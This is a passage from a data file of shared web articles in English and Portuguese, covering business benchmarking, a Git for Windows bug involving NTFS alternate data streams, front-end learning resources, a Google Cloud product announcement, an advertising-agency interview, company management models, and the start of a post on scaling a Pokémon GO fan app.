para uma implementação bem-sucedida do Benchmarking em seu negócio, que tal conhecer alguns dos principais modelos desse processo? Nós separamos uma lista com cinco deles. Confira. Benchmarking Interno Realizado com frequência por empresas em expansão ou que desejam distribuir suas melhores práticas organizacionais para outras unidades, o Benchmarking interno é uma prática que pode também ser considerada como um primeiro passo para um estudo futuro do cenário externo. Do ponto de vista do acesso à informação, o Benchmarking interno pode ser considerado relativamente menos complexo de ser implementado, uma vez que todo o conteúdo informacional está disponível na própria empresa. Entretanto, é preciso ser realista e minucioso nesse tipo de análise, para que conceitos ""viciados"" e falhas organizacionais não sejam disseminadas para outras unidades ou setores da empresa. Benchmarking genérico O Benchmarking é um estudo comparativo que utiliza como parâmetro empresas que atuam em uma indústria diferente do seu negócio ou que produzem outros tipos de produto, mas que aplicam processos e práticas semelhantes aos de sua empresa. Empresas que carregam semelhança nos métodos de venda ou no delivery de produtos, por exemplo. Para que se possa realizar um Benchmarking genérico de qualidade, é necessário ter acesso a muitos detalhes do processo que está sendo comparado. Por outro lado, se a pesquisa for bem realizada, a implementação das melhorias tende a ser mais simples, uma vez que você implementará processos que, embora mais bem-sucedidos, carregam semelhança com suas práticas internas. Benchmarking competitivo O Benchmarking competitivo é o modelo central de que falamos ao longo deste artigo, o qual costuma ser aplicado por qualquer grande companhia do mercado. Ele consiste em um estudo comparativo e aprofundado das empresas de maior destaque dentro de um segmento. Por estarmos falando de empresas concorrentes, que disputam espaço e novos consumidores no mercado, o Benchmarking competitivo é extremamente complexo e exige muito planejamento e estratégia para a obtenção de informações relevantes. O foco central do Benchmarking competitivo deve ser sempre a medição e a avaliação dos rivais mais próximos, tendo como meta primeira alcançá-los e, em uma segunda etapa, tornar-se o principal ou um dos principais nomes do mercado. Benchmarking funcional Do mesmo modo que no Benchmarking genérico, no Benchmarking funcional nós não estamos falando de empresas concorrentes, mas de companhias de outros segmentos, com práticas globais interessantes, as quais podem ser aplicadas no dia a dia de sua empresa. Graças a esse fator, a obtenção de informações tende a ser menos complexa do que no Benchmarking competitivo, por exemplo. Ademais, o processo pode fornecer insights valiosos a respeito de mudanças em práticas internas ou mesmo quanto à adoção de novos processos. Benchmarking colaborativo Por fim, no Benchmarking colaborativo o que temos é a união de um determinado grupo de empreendimentos em prol do compartilhamento de informações que possam melhorar as práticas de todo o grupo. Para visualizar melhor este cenário, basta pensar em uma associação de empresas que, para fortalecer um determinado segmento, concordam em distribuir entre si informações sobre ações, estratégias e processos internos de modo geral. Para que esse tipo de Benchmarking possa funcionar é preciso haver confiabilidade mútua entre as organizações participantes. Como aplicar o Benchmarking em sua empresa? Com o conhecimento das etapas do Benchmarking em mãos, o elemento principal para que você possa efetivar este processo em seu negócio diz ao respeito ao comprometimento. Embora extremamente útil, o Benchmarking exige o cumprimento de uma série de ações sistemáticas que, além de complexas, devem ser contínuas. Com tudo isso, as empresas que estiverem interessadas em integrar o Benchmarking à realidade de seus negócios precisam estar comprometidas com toda uma nova mentalidade de aprendizagem constante, determinando estratégias sobre como obter novas informações e de que forma elas serão úteis para a organização. Quais as vantagens do Benchmarking? É improvável que o Benchmarking estivesse sendo utilizado desde os anos 70, caso ele não oferecesse vantagens reais para as empresas que o implementam. Dentre os principais ganhos advindos do seu uso, podemos listar: Obtenção considerável de conhecimento sobre o ambiente interno: basta lembrar que para aplicar o Benchmarking o empreendedor precisa desenvolver estudos sólidos sobre a cultura de sua empresa; Aprimoramento constante: com a meta de ser o melhor de seu segmento, o empreendedor acaba efetivando melhorias sempre que necessário, fato que impulsiona uma cultura de excelência; Ganho de conhecimento e novas perspectivas: por meio do estudo das melhores práticas, obtém-se novos conhecimentos e toda uma perspectiva mais ampla do mercado; Maior resistência às variações do mercado: embasado por mais conhecimento e novos processos, o empreendedor pode desenvolver estratégias mais inteligentes para cenários de crise ou de instabilidade; Motivação: com metas claras e cultivando o envolvimento de sua equipe no processo de melhoria contínua, será possível contar com colaboradores mais motivados com o desenvolvimento da empresa. Concluindo O potencial do Benchmarking é vasto. Ter os melhores como ponto de referência pode ser o motor para uma verdadeira revolução na cultura de seu empreendimento. Favoreça esse processo, opte pela aprendizagem e pela implementação da melhoria contínua. Certamente, com esta mentalidade, os voos de sua empresa serão bem maiores. Para continuar aprendendo sobre esse assunto, leia também o nosso artigo sobre as 7 características de uma cultura empresarial forte !",pt
1469035843,CONTENT SHARED,2480569770059008227,-2979881261169775358,7448844944656099788,,,,HTML,http://latkin.org/blog/2016/07/20/git-for-windows-accidentally-creates-ntfs-alternate-data-streams/,Git for Windows accidentally creates NTFS alternate data streams,"Git for Windows accidentally creates NTFS alternate data streams Jul 20, 2016 As the only developer at my company who runs Windows regularly, I'm accustomed to working around occasional Unix-specific behaviors in our build and deployment systems. Cygwin makes most stuff just work, I can fix simple incompatibilities myself, and as a last resort I can always boot into OSX for a while if needed. One oddity that took me quite some time to diagnose, though, was Git's strange behavior when dealing with files in our repo whose names contained a colon. What happens when you sync a file with a colon in the filename? Besides the inital drive prefix (e.g. C:\ ), Windows does not permit the colon character in file or directory paths. Unix has no such restriction. So what happens if a Git repo of Unix origin contains a file with a colon in the name, and that repo is cloned on a Windows machine? I've created a sample repo that contains a single file foo:bar with the content hello . Cloning the repo with a default installation of Git for Windows you get no errors or warnings: Instead of a file named foo:bar , though, you get a file named foo , with nothing in it: That's kind of strange on its own, but even more peculiar is that Git has a different opinion of what things look like: Git notices the untracked file foo , but seems to think foo:bar is both present and contains the expected content. How strange... Confusing matters further is that when you enable the Git config option core.fscache (which is enabled by default in version 2.8.2 and later), the working set suddenly changes - now foo:bar is reported as missing: That's what we originally would have expected given that only the foo file was created when we cloned the reposityory, but why is it different from core.fscache = false ? And why was this empty file foo created in the first place? Alternate data streams The root cause of all this is a relatively obscure NTFS feature called alternate data streams . Briefly, files in NTFS are not simple buckets of data, but rather a collection of 1 or more data streams . What we normally think of as a file's contents is really the contents of the primary, unnamed stream. One can also create and add data to alternate, named streams. These streams are directly addressable by appending :streamname to the normal file path. e.g. the stream MyStream in file qwerty.txt can be accessed via the path qwerty.txt:MyStream . So although foo:bar is not a legal Windows file name , Windows file APIs are nonetheless happy to accept it for read and write operations because it is indeed legal as a path to something in the filesystem , namely the bar alternate stream of the file foo . What Git does Once you are aware of alternate data streams, Git's behavior starts to make sense. When cloning, Git naively blasts content into the path foo:bar . That is a 100% legal path, so no errors are raised by the OS. The result is a file foo with no content in the primary data stream (hence reported as length 0), but 6 bytes in an alternate stream bar : When checking the status of the working set, Git uses different algorithms depending on whether core.fscache is enabled. When core.fscache is false , file metadata checks are done one at a time, ultimately invoking GetFileAttributesEx for each path. Git has no clue it's even dealing with an alternate stream, because these file APIs behave exactly the same as they would with a normal file path. Does foo:bar exist? Yep! Does the last modified time on foo:bar match what Git expects? Yep! Is the content of foo:bar what Git expects? Yep! Well alright, that file must be unchanged. When core.fscache is true , Git pre-caches file metadata per directory , then reads it from the cache instead of invoking file APIs directly. This leads to a different view of the world - when enumerating files in the containing directory, Windows only mentions foo , since that's the only file present. Thus the cache, when asked for the metadata of foo:bar , believes this file does not exist. Conclusion In my opinion, this is all rather silly and should never have been allowed to happen in the first place. Git should simply detect the bogus filename, issue an error, and never even attempt to write the file to disk. This is how other valid-in-Unix-but-invalid-in-Windows filenames are handled already (e.g. a file named \Windows\System32\crypt32.dll will be blocked). Such files would then (correctly) be reported as missing from the working set, regardless of core.fscache setting. I opened a bug against Git for Windows to track this issue, and provided a PR with a fix, but these have sat dormant with no feedback for the past 4 months. This week I'm making noise again on the PR, hopefully that will spur some action by the maintainers. Please enable JavaScript to view the comments",en
1469042192,CONTENT SHARED,-5491334714953807444,3609194402293569455,872342117365361079,,,,HTML,https://www.sitepoint.com/20-docs-guides-front-end-developers-9/,20+ Docs and Guides for Front-end Developers (No. 9),"It's that time again to get learning! As before, I've collected a number of different learning resources, including guides, docs, and other useful websites to help you get up to speed in different areas of front-end development. So please enjoy the ninth installment of our Docs and Guides series and don't forget to let me know in the comments of any others that I haven't yet included. This is not primarily a learning guide, but a module that you can install and run via the command line to test your code against a set of rules for JavaScript syntax. It's also available as a text editor plugin. As a guide, however, you can read the rules breakdown , which should be a good way for beginners and others to get a sense of some general JavaScript best practices. ""Webpack is a popular module bundler, a tool for bundling application source code in convenient chunks and for loading that code from a server into a browser."" This guide is on the official Angular website, so the guide is geared towards using Webpack with Angular 2 apps. ""How HTML elements are supported by screen readers."" Consists of four tables of data covering JAWS on Firefox on Windows 10, VoiceOver and Safari 9 on OSX, and NVDA and Firefox on Windows 8.1, with more tests to come. This is more for designers than developers, but it's a really nicely designed and useful interactive tool for those who want to become more familiar with typography terminology. Made by the folks at Supremo, a Manchester-based design agency. This is an extensive resource of links focused primarily on designing and coding HTML email. Lots of stuff under various categories including people to follow, courses, blogs to read, tools, and email service providers. There are so many different flexbox guides and tools floating around, but here's something a little different. This guide shows you how to achieve flexbox-like effects in your layouts using the traditional methods. Nice to see them all in one post like this, with code examples. This is an ""Angular styleguide for teams"" by Todd Motto, a Developer Advocate with Telerik. Todd also offers courses on AngularJS development. This styleguide ""has been rewritten from the ground up for ES2015, the changes in Angular 1.5+ for future-upgrading your application to Angular 2."" This site gives you statistics on how popular websites and frameworks rank when it comes to efficient, maintainable CSS. It displays data on CSS file size, specificity scores, and CSS property usage. Credit to Umar Hansa for tweeting about this . This is the core CSS file that Chrome uses to provide some base default styles for HTML elements. It's interesting to skim through it because there are definitely some oddities in there. ""A list of everything that could go in the <head> of your document."" I like this because it lists not only the standard elements but also vendor-specific stuff that many of us see but maybe don't fully understand. An eight-part tutorial by Greg Reimer covering ES6 Generators. ""Generators are an under-appreciated feature of modern JavaScript. I believe this is because generators are just one half of a two-part whole comprising both generators and iterators, and that learning one without the other paints an incomplete picture. For myself at least, the ah-ha! moment didn't come until I zoomed out and looked at iterators and generators holistically."" Technically this is back-end, but relevant to JavaScript developers. This is a set of compatibility tables for ES2015 but applied only to Node.js. I've included this one in a previous post, but it's been redesigned and it looks great. ""This site tests which new HTML5 features are accessibly supported by major browsers. This includes if they are keyboard accessible, mapped to the platform accessibility APIs, and if any accessibility related features are supported."" ""Write CSS without worrying that overzealous, pre-existing styles will cause problems. MaintainableCSS is an approach to writing modular, scalable and of course, maintainable CSS."" This is a 12-part guide by Adam Silver. Originally started by Hugo Giraudel, this is a community-driven attempt at explaining using a few simple phrases the many buzzwords making up the current JavaScript ecosystem. ""The idea is not to replace individual documentations, but to act as some kind of glossary that can be easily referenced."" A cheatsheet for Bootstrap 4, from Alex at HackerThemes. The site has a really nice interactive layout that displays the clicked item as a code snippet and demo at the bottom of the viewport. You can also click to highlight all the new stuff in version 4. ""We've created a few cheat sheet study guides to help you get over that initial AngularJS learning curve, and provide you with a reference for your daily work."" Includes three cheat sheets: AngularJS Core Services, AngularJS Directive Definition Object, and AngularJS ui-router. A flowchart by Dan Abramov for those who have had trouble grasping different concepts when using React. The flowchart offers some do's and don'ts type of suggestions to help you simplify things so you can understand the library better. ""Flexbox is awesome, but it introduces many new concepts that can make it difficult to use. These interactive examples will show you practical ways to use it to build UI components. They start out simple and get more complex near the end."" Not just for front-end developers, but certainly something worth looking into for all in the developer field. ""The best defense against hackers is a well-informed development team. Our interactive exercises can teach your team about today's most common security vulnerabilities."" Honorable Mentions Suggest Yours If you've built or know of another learning resource for front-end developers, drop it in the comments and I'll consider it for a future post. In the meantime, here are the previous posts in this series:",en
1469048282,CONTENT SHARED,6304895356046683527,-1443636648652872475,1813312412728630309,,,,HTML,https://cloudplatform.googleblog.com/2016/07/the-latest-for-Cloud-customers-machine-learning-and-west-coast-expansion.html,"Introducing Cloud Natural Language API, Speech API open beta and our West Coast region expansion","Following our announcements from GCP NEXT in March, we're excited to share updates about Cloud Platform expansion and machine learning . Today we're launching two new Machine Learning APIs into open beta and expanding our footprint in the United States. Cloud Machine Learning APIs enter open beta Google Cloud Platform unlocks the capability for enterprises to process unstructured data through machine learning. Today, we're announcing two new Cloud Machine Learning products that are entering beta: Cloud Natural Language and Cloud Speech APIs. We spend a lot of time thinking about how computer systems can read in order to process human language in intelligent ways . For example, we most recently open-sourced SyntaxNet (which includes Parsey McParseface ), a natural language model that analyzes the grammatical structure of text with the best accuracy , speed and scale. The new Google Cloud Natural Language API in open beta is based on our natural language understanding research. Cloud Natural Language lets you easily reveal the structure and meaning of your text in a variety of languages, with initial support for English, Spanish and Japanese. It includes: Sentiment Analysis : Understand the overall sentiment of a block of text Entity Recognition : Identify the most relevant entities for a block of text and label them with types such as person, organization, location, events, products and media Syntax Analysis : Identify parts of speech and create dependency parse trees for each sentence to reveal the structure and meaning of text The new API is optimized to meet the scale and performance needs of developers and enterprises in a broad range of industries. For example, digital marketers can analyze online product reviews or service centers can determine sentiment from transcribed customer calls. We've also seen great results from our Alpha customers, including British online marketplace Ocado Technology . To see Cloud Natural Language API in action, check out our demo that uses Cloud Natural Language to analyze top stories from The New York Times. Google's Cloud Natural Language API has shown it can accelerate our offering in the natural language understanding area and is a viable alternative to a custom model we had built for our initial use case. - Dan Nelson, Head of Data, Ocado Technology Cloud Speech API will also enter open beta today. Enterprises and developers now have access to speech-to-text conversion in over 80 languages, for both apps and IoT devices. Cloud Speech API uses the voice recognition technology that has been powering your favorite products such as Google Search and Google Now. More than 5,000 companies signed up for Speech API alpha, including: HyperConnect , a video chat app with over 50 million downloads in over 200 countries, uses a combination of our Cloud Speech and Translate API to automatically transcribe and translate conversations between people who speak different languages. VoiceBase , a leader in speech analytics as a service, uses Speech API to let developers surface insights and predict outcomes from call recordings. This beta version adds new features based on customer feedback from alpha, such as: Word hints : custom words or phrases by context can be added to API calls to improve recognition. Useful for both command scenarios (e.g., a smart TV listening for ""rewind"" and ""fast-forward"" when watching a movie) and adding new words to the dictionary (e.g., recognizing names that may not be common in a specific language) Asynchronous calling : the API has been substantially simplified with new asynchronous calls that make developing voice-enabled apps easier and faster To use our newest machine learning APIs in open beta and see more details about pricing, check out Cloud Natural Language and Cloud Speech on our website. Google Cloud Platform expands on the North American West Coast For Cloud Platform customers on the west coast of North America and Canada, we're pleased to announce our Oregon Cloud Region (us-west1) is now open for business. This region initially includes three of our core offerings: Google Compute Engine , Google Cloud Storage and Google Container Engine , and features two Compute Engine zones to support high availability applications. Our initial testing shows that users in cities such as Vancouver, Seattle, Portland, San Francisco and Los Angeles can expect to see a 30-80% reduction in latency for applications served from us-west1, compared to us-central1. One industry where latency is critical is gaming. Players of today's premium games expect twitch-fast networks to enable immersive, real-time gaming experiences. Multiplay is a unique video game hosting specialist behind many of today's top AAA games. Multiplay's games hosted out of the new us-west1 data center ensures that players in the western region of North America have a consistent, fast user experience on top of Google Cloud Platform. Regional latency is a major factor in the gaming experience. Google Cloud Platform's network is one of the best we've worked with, from a tech perspective but also in terms of the one-on-one support we've received from the team. - Multiplay And as we announced in March, Tokyo will be coming online later this year and we will announce more than 10 additional regions in 2017. For a current list of GCP regions, please have a look at the Cloud Locations page .",en
1469052884,CONTENT SHARED,7734121175534200554,1748162647671155552,-2382936607572694307,,,,HTML,http://www.meioemensagem.com.br/home/comunicacao/2016/07/19/consultorias-promovem-uma-desvalorizacao-de-nosso-negocio.html,"""Consultorias promovem a desvalorização do nosso negócio"" - Meio & Mensagem","Bárbara Sacchitiello19 de julho de 2016 - 13h00 Márcio Santoro, copresidente da Africa sabe que, daqui a alguns anos, a agência continuará cumprindo sua principal função: comercializar ideias criativas para auxiliar as marcas a venderem mais. De que forma e em quais mídias essa atividade será feita são coisas que o executivo não hesita em reconhecer ainda como incógnitas. Crente de que a indústria vivencia a 'era do já era', termo que usa para traduzir as transformações que a tecnologia vêm trazendo ao cenário da publicidade, Santoro ressalta que não apenas as empresas de comunicação, mas as companhias de todos os segmentos estão sofrendo com as mudanças do mercado. E que, para sobreviver a esse furacão, é primordial estar em sintonia com as transformações sociais. Dividindo o comando da agência com Sérgio Gordilho, o executivo vê a união de diferentes visões como o tempero principal da operação - ingrediente este que, segundo ele, foi um dos fatores que chamaram a atenção da holding Omnicom, que em novembro de 2015 acertou a compra do Grupo ABC , do qual a Africa é parte, em uma das maiores transações recentes da indústria global de comunicação. Nessa entrevista, Santoro fala sobre os impactos dessa negociação para a Africa, defende a confiança como base da relação agência-cliente e critica as consultorias que começam a se infiltrar na indústria criativa. ""Elas promovem uma desvalorização de nosso negócio."" Meio & Mensagem - Desde novembro de 2015, quando o grupo ABC foi adquirido pelo Omnicom, a Africa deixou de ser uma agência controlada por uma empresa de capital nacional. Quais são os prós e contras dessa nova realidade? Márcio Santoro - Das negociações estratégicas que poderíamos ter feito, essa foi a melhor possível. Temos uma relação histórica com o Omnicom, desde a época em que o Nizan (Guanaes, chairman do grupo ABC) e o Guga (Valente, CEO do grupo) fizeram o primeiro negócio na DM9, e também quando criamos a Africa, da qual eles foram sócios minoritários. Na prática, muda pouca coisa porque já sabemos bem como eles trabalham e o grupo tem como característica a liberdade que dá aos gestores locais. Quando olhamos para todas as transformações que estão acontecendo no nosso mercado e vemos que temos ao lado uma fonte de informação como o Omnicom, que tem ferramentas para atravessar esse processo, que está mais avançada e bem preparada na digitalização, reconhecemos que estamos em uma situação altamente privilegiada. Vejo o Nizan, o Guga e nós mesmos com as energias renovadas. O Omnicom foi muito inteligente em ter mantido toda a estrutura do ABC. Não consigo nem identificar algo negativo nesse processo. M&M - Há cinco anos você divide o comando da agência com o Sergio Gordilho (que, antes de ser copresidente, era VP de criação da operação). Como avalia esse modelo de gestão compartilhada? Santoro - Em nossa gestão, é como se eu fosse o mâitre, e o Gordilho, o chef de cozinha. Acho que esse modelo acabou inspirando muitas outras agências, que também adotaram o formato de copresidência. Nosso negócio é propaganda. Vivemos de vender criatividade. Esse é o nosso 'prato'e, por isso, é preciso ter um bom chef, que esteja envolvido e que domine esse trabalho. E também tem de ter alguém que faça o papel do mâitre, olhando para o negócio e para os clientes. Vim da parte de atendimento e temos uma estrutura aqui com sócios e vice-presidentes que estão juntos há muito tempo e que respeitam e compreendem o papel de cada um. É uma relação muito saudável e muito boa por isso. M&M - Quais são as principais transformações na relação entre agência e clientes? Santoro - No fundo, o que mantém essa relação estável é a capacidade de entrega criativa. O que mudou é que, antes, essa criatividade era um reclame na televisão ou uma propaganda em revista. Hoje, o que o cliente espera é uma grande ideia, que consiga navegar em todas as mídias que estão disponíveis aos consumidores e que funcione bem no mobile, na TV e em qualquer canal. Evidentemente que, hoje, para chegar a uma solução criativa pertinente, é preciso conhecer muito o negócio do cliente, que também se sofisticou. A ramificação dos canais de distribuição aumentou, seja para a propaganda, seja para uma marca de roupa. Para criar uma ideia relevante, é preciso se envolver mais - e aí acho que o modelo da Africa foi beneficiado. Criamos equipes exclusivas, com tempo para pesquisar os clientes. As pessoas falam muito da mudança da propaganda, mas todas as indústrias estão mudando. Em 1998, a Kodak tinha cem mil funcionários. Isso acabou, mas a essência da foto continua. Tudo está mudando e temos de saber para que lado correr. Todo o mercado está em xeque. Vivemos a era do 'já era' e o que nos salvará, como indústria, é a criatividade. ""A ramificação dos canais de distribuição aumentou, seja para a propaganda, seja para uma marca de roupa. Para criar uma ideia relevante, é preciso se envolver mais."" M&M - Recentemente o Meio & Mensagem trouxe como manchete uma reportagem sobre o avanço das consultorias no território da comunicação. Você vê essas empresas como concorrentes? Santoro - Tenho um super-respeito pela McKinsey, IBM, Accenture, mas não possoacreditar que eles vão trazer ideias criativas e disruptivas. Acredito que elas nem queiram isso, pois estão voltados para a mídia programática e para um segmento bem tecnológico. Agora acho que para nós, agências de criação, sempre haverá espaço porque, efetivamente, temos a missão de nos envolver ativamente com os clientes e fornecer as melhores ideias. Minha questão com essas empresas é quando elas são, ao mesmo tempo, o médico e farmacêutico. Ou seja, quando elas vão ao cliente, fazem o diagnóstico de um problema e oferecem a própria ferramenta como solução. E também quando essas empresas, que nunca criaram uma campanha, palpitam sobre quanto os nossos clientes estão nos pagando. Aí acho que eles fazem uma destruição de valor do nosso negócio e sou totalmente contra. A íntegra desta entrevista está publicada na edição 1719, de 18 de Julho, exclusivamente para assinantes do Meio & Mensagem , disponível nas versões impressa e para tablets iOS e Android .",pt
1469068728,CONTENT SHARED,2639926854188906104,3609194402293569455,-7605726710144245548,,,,HTML,https://endeavor.org.br/modelo-gesta-dell-netflix-google/,"O que aprendemos com os modelos de gestão da Google, Netflix e Dell  Leia mais em Endeavor @ https://endeavor.org.br/modelo-gesta-dell-netflix-google/","Modelo de negócio pode até se parecer com modelo de gestão, mas os conceitos são bem diferentes. Veja as lições que aprendemos com a Netflix, Google e Dell. Vamos começar esclarecendo uma dúvida muito comum: a diferença entre modelo de negócio e modelo de gestão. Por mais que muitos pensem que um é sinônimo do outro, os dois temas são conceitos são bem distintos. O modelo de negócio está relacionado a estratégia da empresa , como o preço ela vai colocar no mercado, que segmento de cliente ela vai focar, qual canal utilizar, etc. O modelo de gestão é a aplicação do modelo de negócio no dia a dia. Ou seja, qual a cultura da empresa , os relatórios, indicadores, frequência de reunião. Basta lembrar que um modelo de gestão coloca em prática o seu modelo de negócio. Por mais que cada empresa tenha um modelo de gestão, algumas lições são comuns a todas. Analisando a Dell, Google e Netflix , separamos 3 grandes aprendizados para você: Em primeiro lugar, na hora de escolher um modelo de gestão, você precisa pensar em como ele pode te ajudar a atingir os objetivos da empresa. E, claro, se ao longo dos anos, o mercado mudar e você precisar adaptar sua gestão, não se preocupe, isso é totalmente normal. Aliás, a Netflix é mestre em adaptação! No começo, a empresa entregava DVDs. Depois de um tempo, ela entendeu que deveria começar a adquirir seus consumidores pela internet e fazer a entrega de vídeo por streaming. Em outras palavras, a Netflix analisou o mercado e entendeu que seu modelo de negócio e, consequentemente gestão, já não fazia mais sentido. Depois disso, a empresa deixou a logística de lado e focou seus esforços na mineração de dados. Eles perceberam que a distribuição física estava dando seus últimos sinais de vida e, rapidamente, mudaram a sua estratégia. Claro, isso não foi tão simples . Nesse caminho, eles enfrentaram dificuldades, tiveram problemas na valorização do seu serviço, mas, independente disso tudo, a marca se reinventou e hoje é um case de negócio que entendeu os sinais do mercado e saiu na frente dos concorrentes. Leia também: Como adaptar conceitos já consolidados Além da Netflix, podemos citar outros exemplos como a Google a Microsoft , empresas de tecnologia que tiveram seus perfis de atuação moldados ao longo dos anos. Independente das mudanças que a empresa vai implementar, é importante nunca esquecer que essa tomada de decisão deve ser baseada nos valores e missão que guia o negócio. Por exemplo, na Dell, um conceito chave da cultura da empresa é a meritocracia. Luis Gonçalves, diretor geral da Dell , conta que se um dia o mercado se transformar e exigir uma adaptação da empresa, o primeiro passo seria olhar para o DNA do negócio e entender o que deve ou não ser alterado. Quanto mais claro esses aspectos forem para o empreendedor, mais fácil será a mudança. Para se destacar no mercado, além da mudança no serviço, a Netflix se tornou uma expert em dados. Foi isso que possibilitou os excelentes níveis de recomendação de filmes e séries com base no histórico do que cada cliente assistiu nos últimos meses. Foi com base nesses dados que ela também conseguiu prever, antes mesmo de lançar a série, que House Of Cards seria um sucesso total. Para entender melhor o case, recomendamos a leitura deste artigo . E como ela conseguiu tudo isso? Selecionando as pessoas certas para a fase que a empresa estava vivendo. A empresa começou a trabalhar cada vez mais com dados, não só olhando e analisando cada informação, mas também tirando insights do que fazer com tudo aquilo que tinham em mãos. Para que todo esse trabalho pudesse ser feito, a Netflix começou a sua procura por pessoas que entendessem muito de mineração de dados e análise comportamental. Leia também: 5 dicas de recrutamento e seleção O processo de contratação influencia tanto no futuro da empresa que até alguns anos atrás, os fundadores da Google entrevistavam todos os seus colaboradores. Fazer um bom screeaning, uma lista de talentos, conversar as melhores pessoas do seu time e avaliá-las pode mudar a direção do seu negócio. E de onde eles pegavam esses talentos? Essa resposta é mais simples do que você pensa. Vamos pegar a Netflix. Ela compete, em muitos aspectos, com a Google. Ou seja, muito provavelmente os funcionários da Google seriam ótimos colaboradores para a Netflix. E o que ela fez com essa informação? Transformou o seu ambiente de trabalho em algo que remetesse o que era feito no Google, mas sem perder seus valores. Quando você começa certo, o futuro da empresa é bem mais garantido. É claro, você também tem que estar aberto a fazer mudanças e evoluir alguns processos na empresa. Agora, o que você não pode fazer é ficar mudando, toda hora, sua forma de gestão, isso cria um ambiente instável tanto para os seus colaboradores como para seus clientes. A gestão sem hierarquia que é utilizada pela e Netflix está muito em alta. Cada vez mais empresas querem mergulhar nessa tal holocracia , buscando mais liberdade e autonomia para a empresa, mas é preciso cuidado. Nem toda a empresa consegue se adaptar a esse modelo de gestão, na verdade, em alguns casos, o que acontece é um verdadeiro caos. O tema é tão relevante que a Google realizou um teste para ver se esse modelo era mesmo tão eficiente assim. A empresa separou 2 grupos de engenheiros, sendo que um tinha a figura do líder e uma hierarquia mais clara e o outro atuava como preferia, sem cargos definidos. Cada grupo trabalhou por um determinado tempo e depois a Google comparou os resultados do modelo sem hierarquia versus o tradicional . O que aconteceu foi que o grupo tinha um líder trouxe mais resultados do que aquele sem hierarquia. Leia também: Você sabe o que a Zappos e Vagas.com tem em comum? Não estamos falando que esse modelo é ruim, mas sim que existem vantagens e desvantagens. Essa gestão dá mais liberdade aos colaboradores, mas também aumenta o risco de cada um agir por conta própria e o resultado de um projeto sair um Frankstein. Por outro lado, o modelo tradicional, com um gestor ou líder, ajuda muito no desenvolvimento de pessoas. Por isso, se você acha que a sua empresa está pronta para abraçar um modelo de gestão sem hierarquia, como a Zappos e a Vagas.com, uma boa dica é verificar as dificuldades de implementação a médio e longo prazo . Outro ponto é pensar como você vai compensar o seu processo de gestão e feedback , já que não terá uma pessoa olhando especificamente para isso. Por fim, é importante definir como será a sua comunicação, já que vai ser difícil juntar todos em torno de um mesmo objetivo. Em outras palavras: procure o equilíbrio na empresa. O modelo de gestão da empresa é como o coração do nosso corpo, se ele para de funcionar, o negócio morre em pouco tempo. Por isso, esperamos que essas lições possam te ajudar nessa aventura que é empreender. Se você quiser aprofundar seu conhecimento sobre o assunto, não deixe de ver o vídeo no integra!",pt
1469097976,CONTENT SHARED,4259370161044254504,-2979881261169775358,6708890816588756654,,,,HTML,https://medium.com/unboxd/how-i-built-an-app-with-500-000-users-in-5-days-on-a-100-server-77deeb238e83,"How I built an app with 500,000 users in 5 days on a $100 server","How I built an app with 500,000 users in 5 days on a $100 server There seems to be a general consensus in the world of startups that you should build an MVP (minimum viable product) without caring too much about technical scalability. I've heard many times that the only priority is to just get the product out there. As long as your business model would work at scale, you're good. You shouldn't waste time and money on making a technically scalable product. All you worry about is testing your assumptions, validating the market and gaining traction. Scalability is a concern for later. Unfortunately, this somewhat blind belief has led to some terrible failures. And Pokémon GO reminded us of it. One person who won't make this mistake again is Jonathan Zarra, the creator of GoChat for Pokémon GO. The guy who reached 1 million users in 5 days by making a chat app for Pokémon GO fans. Last week, as you can read in the article, he was talking to VCs to see how he could grow and monetize his app. Now, GoChat is gone. At least 1 million users lost and a lot of money spent. A real shame for a genius move. The article states that Zarra had a hard time paying for the servers that were necessary to host 1M active users. He never thought to get this many users. He built this app as an MVP, caring about scalability later. He built it to fail. Zarra hired a contractor on Upwork to fix a lot of performance issues. The contractor stated that the server costs were around $4,000. Since my calendar says it's 2016, I assume he isn't talking about $4000 of hardware, but $4000 in monthly or yearly virtual server and traffic costs. I've been designing and building web platforms for hundreds of millions of active users for most of my career. I can say $4,000 is a totally unnecessary amount of money for 1M users in a chat app. Even for an MVP. It means the app's server tech was designed poorly. It's not easy to build a cost-efficient, scalable system for millions of monthly users. But it's also not terribly complicated to have some sort of setup that can handle at least a decent amount of users on some cheap servers in the cloud. You just have to take it into account when building the MVP, by making the right choices. GoSnaps: 500,000 users in 5 days on $100/month server Similarly to GoChat, I also launched a Pokémon GO fan app last week, called GoSnaps . GoSnaps is an app to share Pokémon GO screenshots and images on a map. The Instagram/Snapchat for Pokémon GO. GoSnaps grew to 60k users its first day, 160k users on its second day and 500k unique users after 5 days (which is now). It has 150-200k uploaded snaps now. It has around 1000 concurrent users at any given time. I built image recognition software to automatically check if an uploaded image is Pokémon GO-related, and resizing tools for uploaded images. We run this whole setup on one medium Google Cloud server of $100/month, plus (cheap) Google Cloud Storage for the storage of images. Yes, $100. And it performs well. Technical comparison of GoChat and GoSnaps Let's compare GoChat and GoSnaps. Both apps probably fire a lot of requests per second to fetch chats/images within a certain area of the map. This is a geospatial lookup in the database (or search engine), either by a polygon of latitude/longitude locations or by a specific point. We use a polygon and we fire this request every time someone moves the map. These types of queries are heavy operations on a database, especially in combination with sorting or filtering. We get this type of search request hundreds of times per second. GoChat probably did too. Unique to GoChat is that it had to fetch and post a lot of chat messages every second. The article about GoChat talks about 600 requests per second for the whole app. Those 600 requests are a combination of map requests and chat messages. These chat messages are small and could/should be done over a simple socket connection, but happen often and have to be distributed to other chatters. This is manageable with the right setup, but disastrous with a poor, MVP-like setup. GoSnaps, on the other hand, has a lot of images being fetched and 'liked' every second. The snaps pile up on the server, since old snaps stay relevant. Old chats do not. Since the actual image files are stored in the Google Cloud Storage, the amount of requested image files is not a concern for me as a developer. Google Cloud handles this and I trust Google. But the requested snaps on the map are my concern. GoSnaps has image recognition software that looks for patterns on all uploads to see if an image is Pokémon-related or not. It also resizes the images and sends them to Cloud Storage. These are all heavy operations in terms of CPU and bandwidth. Way heavier than distributing some small chat messages, but less frequent. My conclusion is that both apps are very similar in terms of scalability complexity. GoChat handles more small messages while GoSnaps handles larger images and heavier server operations. Designing an architecture for these two apps both require a slightly different approach, but are similarly complex. How I built a scalable MVP in 24h GoSnaps is built as an MVP, not as a professional business product. It was built entirely in 24 hours. I took a NodeJS boilerplate project for hackathons and used a MongoDB database without any form of caching. No Redis, no Varnish, no fancy Nginx settings, nothing. The actual iOS app was built in native Objective-C code, with some borrowed Apple Maps-related code from Unboxd , our main app. So how did I make it scalable? By not being lazy. Let's say I would consider an MVP as solely a race against the clock to build a functional app as quick as possible, 